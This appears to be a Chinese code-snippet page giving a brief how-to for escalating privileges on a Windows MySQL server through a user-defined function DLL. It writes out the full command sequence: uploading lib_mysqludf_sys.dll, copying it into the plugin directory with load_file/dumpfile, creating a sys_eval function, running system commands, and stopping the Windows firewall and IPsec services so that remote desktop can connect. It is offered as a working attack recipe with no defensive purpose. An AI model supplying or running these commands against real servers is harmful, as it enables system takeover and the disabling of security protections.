首页 > 代码库 > SqlMap之mysql udf.dll 提权
SqlMap之mysql udf.dll 提权
先上传dll文件到任意目录,如:D:/RECYCLER/lib_mysqludf_sys.dll
导入dll,根据版本导入到windows或mysql 插件目录(一般执行select @@plugin_dir 可看到插件目录具体路径):
select load_file(‘D:/RECYCLER/lib_mysqludf_sys.dll’) into dumpfile’c:/windows/lib_mysqludf_sys.dll’ (高版本需要导入上面查询到的插件目录)
创建function:
create function sys_eval returns string soname ‘lib_mysqludf_sys.dll’;
执行命令:
select sys_eval(‘whoami’);
一般情况下不会出现创建不成功哦。
连不上3389可以先停止windows防火墙和筛选
select sys_eval(‘net stop policyagent’);
select sys_eval(‘net stop sharedaccess’);
SqlMap之mysql udf.dll 提权
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。